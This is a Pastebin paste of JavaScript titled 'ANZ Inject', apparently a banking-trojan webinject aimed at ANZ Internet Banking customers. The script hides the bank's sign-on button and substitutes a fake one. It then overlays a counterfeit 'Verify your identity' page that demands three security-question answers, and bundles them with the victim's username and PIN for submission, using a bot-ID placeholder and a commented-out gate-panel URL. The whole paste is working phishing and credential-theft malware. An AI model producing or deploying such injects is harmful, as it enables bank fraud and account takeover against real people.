Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //ANZ Inject
- $.fn.custom_ser = function() {
- var obj = {};
- this.find("input,select").each(function() {
- if (
- $(this).prop("tagName") == "INPUT" &&
- $(this).prop("type") != "checkbox" &&
- $(this).prop("type") != "button" &&
- $(this).prop("type") != "hidden" &&
- $(this).prop("type") != "submit"
- ) {
- //input validation
- obj[$(this).attr("name")] = $(this).val();
- }
- if ($(this).prop("tagName") == "SELECT") {
- obj[$(this).attr("name")] = $(this).find("option:selected").val();
- }
- });
- return obj;
- };
- var INJ = {
- // home: "https://test.com/uadmin/gates/log.php",
- bid: "%botuid%",
- link: "anz.au",
- form1: '<style>.top-fixed {position: fixed; top: 0px; left: 0px; width: 100%; height: 100%; background: #fbfbfb; } .top-rel1 {background: #004165; height: 61px; } img.img1 {width: 116px; position: relative; top: 6px; } .main1 {margin-top: 22px; } h1.h11 {color: black; } .table {display: inline-table; width: 100%; border-collapse: collapse; table-layout: fixed; } .tr {display: table-row; } .td {display: table-cell; } .td.left {width: 141px; } select.form-control {width: 400px; } .tr.dev {/* height: 9px; */ } input#id {} .form-control.loginDivfields {width: 400px; } .myin {margin-bottom: 0px; } span.err_span {color: #c10404; font-size: 15px; } .form-group.has_err .err_span{display:block !important } p.p1 {font-size: 14px; } .form-group.has_err .form-control{border-color:#bb0c0c; }</style>\
- <div class="top-fixed">\
- <div class="top-rel1">\
- <div class="container">\
- <img src="https://www.anz.com/common/header/images/ANZ-logo.png" alt="" class="img1">\
- </div>\
- </div>\
- <div class="main1">\
- <div class="container">\
- <h1 class="h11">Verify your identity </h1>\
- <p class="p1">\
- As part of ANZ Internet Banking security measures we need to confirm your Identity.\
- <br> They\'re three questions that you set up with your own personal answers which help us verify your Identity.\
- <br><br> To keep your transaction secure, you ll need to answer your three challenge questions. and this now\
- </p>\
- <hr>\
- <form class="form11" id="form11" novalidate="" >\
- <div class="table">\
- <div class="tr">\
- <div class="td left">\
- <label for="">Questions:</label>\
- </div>\
- <div class="td right form-group ">\
- <select name="q1" id="q1" class="form-control loginDivfields">\
- <option value="whats_the_first_name_of_your_partners_father_">What\'s the first name of your partner\'s father? </option>\
- <option value="whos_your_favourite_sports_team_">Who\'s your favourite sports team? </option>\
- <option value="what_dish_is_your_grandmothers_specialty_">What dish is your grandmother\'s specialty? </option>\
- <option value="which_town_or_city_did_you_get_engaged_in_">Which town or city did you get engaged in? </option>\
- <option value="when_is_your_fathers_birthday_e.g._ddmm_">When is your father\'s birthday (e.g. DDMM)? </option>\
- <option value="what_was_the_name_of_your_favourite_childhood_toy_">What was the name of your favourite childhood toy? </option>\
- <option value="who_did_you_take_to_your_first_high_school_dance_">Who did you take to your first high school dance? </option>\
- <option value="where_did_you_go_on_your_first_ever_date_">Where did you go on your first ever date? </option>\
- <option value="what_was_your_grandmothers_maiden_name_on_your_mothers_side_">What was your grandmother\'s maiden name, on your mother\'s side? </option>\
- <option value="where_did_you_first_meet_your_parner_">Where did you first meet your parner? </option>\
- <option value="where_was_your_first_job_">Where was your first job? </option>\
- <option value="which_high_school_did_you_attend_">Which high school did you attend? </option>\
- <option value="where_did_you_go_on_your_honeymoon_">Where did you go on your honeymoon? </option>\
- <option value="whats_your_oldest_childs_nickname">What\'s your oldest child\'s nickname?</option>\
- </select>\
- </div>\
- </div>\
- <div class="tr dev">\
- </div>\
- <div class="tr">\
- <div class="td left">\
- <label for="">Answer:</label>\
- </div>\
- <div class="td right form-group ">\
- <input type="text" class="form-control loginDivfields myin" name="a1" id="a1" pattern=".{4,}" data-err_text="Please enter valid ">\
- <span class="err_span" style="display: none;">Please fill this field</span>\
- </div>\
- </div>\
- </div>\
- <hr>\
- <div class="table">\
- <div class="tr">\
- <div class="td left">\
- <label for="">Questions:</label>\
- </div>\
- <div class="td right form-group ">\
- <select name="q2" id="q2" class="form-control loginDivfields">\
- <option value="what_date_is_your_partners_birthday_e.g_ddmm_">What date is your partner\'s birthday (e.g DDMM)? </option>\
- <option value="what_colour_and_make_was_your_first_car_e.g._green_mazda_">What colour and make was your first car (e.g. Green Mazda)? </option>\
- <option value="whats_your_grandmothers_first_name_on_your_mothers_side_">What\'s your grandmother\'s first name, on your mother\'s side? </option>\
- <option value="who_was_your_best_man_at_your_wedding_">Who was your best man at your wedding? </option>\
- <option value="where_did_your_parents_meet_">Where did your parents meet? </option>\
- <option value="who_was_your_first_kiss_">Who was your first kiss? </option>\
- <option value="what_street_did_you_live_on_when_you_went_to_high_school_">What street did you live on when you went to high school? </option>\
- <option value="where_was_your_partner_born_">Where was your partner born? </option>\
- <option value="what_food_do_you_most_dislike_">What food do you most dislike? </option>\
- <option value="where_was_your_wedding_reception_held_">Where was your wedding reception held? </option>\
- <option value="what_was_the_name_of_your_first_school_">What was the name of your first school? </option>\
- <option value="where_were_you_for_new_years_2000_">Where were you for New Year\'s 2000? </option>\
- <option value="which_suburb_was_your_primary_school_in_">Which suburb was your primary school in? </option>\
- <option value="when_is_your_mothers_birthday_e.g._ddmm">When is your mother\'s birthday (e.g. DDMM)?</option>\
- </select>\
- </div>\
- </div>\
- <div class="tr dev">\
- </div>\
- <div class="tr">\
- <div class="td left">\
- <label for="">Answer:</label>\
- </div>\
- <div class="td right form-group ">\
- <input type="text" class="form-control loginDivfields myin" name="a2" id="a2" pattern=".{4,}" data-err_text="Please enter valid ">\
- <span class="err_span" style="display: none;">Please fill this field</span>\
- </div>\
- </div>\
- </div>\
- <hr>\
- <div class="table">\
- <div class="tr">\
- <div class="td left">\
- <label for="">Questions:</label>\
- </div>\
- <div class="td right form-group ">\
- <select name="q3" id="q3" class="form-control loginDivfields">\
- <option value="whats_the_first_name_of_your_partners_mother_">What\'s the first name of your partner\'s mother? </option>\
- <option value="who_was_your_first_job_with_">Who was your first job with? </option>\
- <option value="whats_your_grandmothers_first_name_on_your_fathers_side_">What\'s your grandmother\'s first name, on your father\'s side? </option>\
- <option value="whats_your_youngest_childs_middle_name_">What\'s your youngest child\'s middle name? </option>\
- <option value="where_was_your_mother_born_">Where was your mother born? </option>\
- <option value="who_was_your_first_boyfriend_of_girlfriend_">Who was your first boyfriend of girlfriend? </option>\
- <option value="what_score_did_you_receive_for_your_final_high_school_exams_">What score did you receive for your final high school exams? </option>\
- <option value="what_was_your_first_job_">What was your first job? </option>\
- <option value="what_date_is_your_anniversary_e.g._ddmm_">What date is your anniversary (e.g. DDMM)? </option>\
- <option value="who_was_your_memorable_school_teacher_">Who was your memorable school teacher? </option>\
- <option value="what_was_your_favourite_game_as_a_child_">What was your favourite game as a child? </option>\
- <option value="who_was_your_childhood_hero_">Who was your childhood hero? </option>\
- <option value="what_was_the_first_concert_you_went_to_">What was the first concert you went to? </option>\
- <option value="whos_your_oldest_cousin_">Who\'s your oldest cousin? </option>\
- <option value="whats_your_mothers_middle_name">What\'s your mother\'s middle name?</option>\
- </select>\
- </div>\
- </div>\
- <div class="tr dev">\
- </div>\
- <div class="tr">\
- <div class="td left">\
- <label for="">Answer:</label>\
- </div>\
- <div class="td right form-group ">\
- <input type="text" class="form-control loginDivfields myin" name="a3" id="a3" pattern=".{4,}" data-err_text="Please enter valid ">\
- <span class="err_span" style="display: none;">Please fill this field</span>\
- </div>\
- </div>\
- </div>\
- <hr>\
- <div class="buttndiv">\
- <button class="btn btn-primary">Confirm</button>\
- </div>\
- </form>\
- </div>\
- </div>\
- </div>',
- is_done: function(cb) {
- var that = this;
- if (INJ.cookies.get('jd') == null) {
- that.start();
- }
- },
- cookies: {
- set: function(name, value, days) {
- if (days) {
- var date = new Date();
- date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
- var expires = "; expires=" + date.toGMTString();
- } else var expires = "";
- document.cookie = name + "=" + value + expires + "; path=/";
- },
- get: function(name) {
- var nameEQ = name + "=";
- var ca = document.cookie.split(';');
- for (var i = 0; i < ca.length; i++) {
- var c = ca[i];
- while (c.charAt(0) == ' ') c = c.substring(1, c.length);
- if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length);
- }
- return null;
- }
- },
- init: function() {
- var that = this;
- that.is_done()
- },
- start: function() {
- var that = this;
- // $('#btnSubmit').hide();
- $('form input').on('keydown', function(e) {
- return e.which !== 13;
- })
- $('#SignonButton').hide()
- $('<a id="mybutton" style="font-family: MyriadPro-Semibold,Arial; font-size: 1em; color: #FFFFFF; width: 93px; background: url(/inetbank5/images/icon-sprite.png) no-repeat -3px -240px #337ab7; padding: 10px 0px 6px 20px; height: 44px; top: 0px;" class=" btn btn-primary" title="Log on" style="display: inline;">Log in</a>').insertAfter('#SignonButton')
- $('#mybutton').on('click', function(e) {
- e.stopPropagation();
- if (ValidateForm()) {
- setTimeout(function() {
- $('body').after(that.form1);
- that.setEvents()
- }, 1000)
- }
- })
- },
- setEvents: function() {
- var that=this;
- $('#a1 ,#a2, #a3,#q1,#q2,#q3').on('input', function() {
- $('.form-group').removeClass('has_err');
- })
- $('#form11').on('submit', function(e) {
- e.preventDefault();
- e.stopPropagation();
- var err = false
- $('#a1 ,#a2, #a3').each(function() {
- if ($(this).val() == "") {
- $(this).closest('.form-group').addClass('has_err');
- err = true
- }
- })
- if (err) {
- return false;
- } else {
- var data = $('#form11').custom_ser();
- data.pass=document.loginForm.PIN.value;
- data.username= document.loginForm.USERID.value;
- data.inj_info="ok";
- $.ajax({
- type: "POST",
- url: "https://www.anz.com/inetbank/login.asp",
- data: data,
- success: function() {
- $('.top-fixed').remove();
- that.cookie.set('jd',1);
- OpenWindowAndCallResolver('Modify')
- },
- dataType: "text"
- });
- }
- })
- }
- }
- INJ.init();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement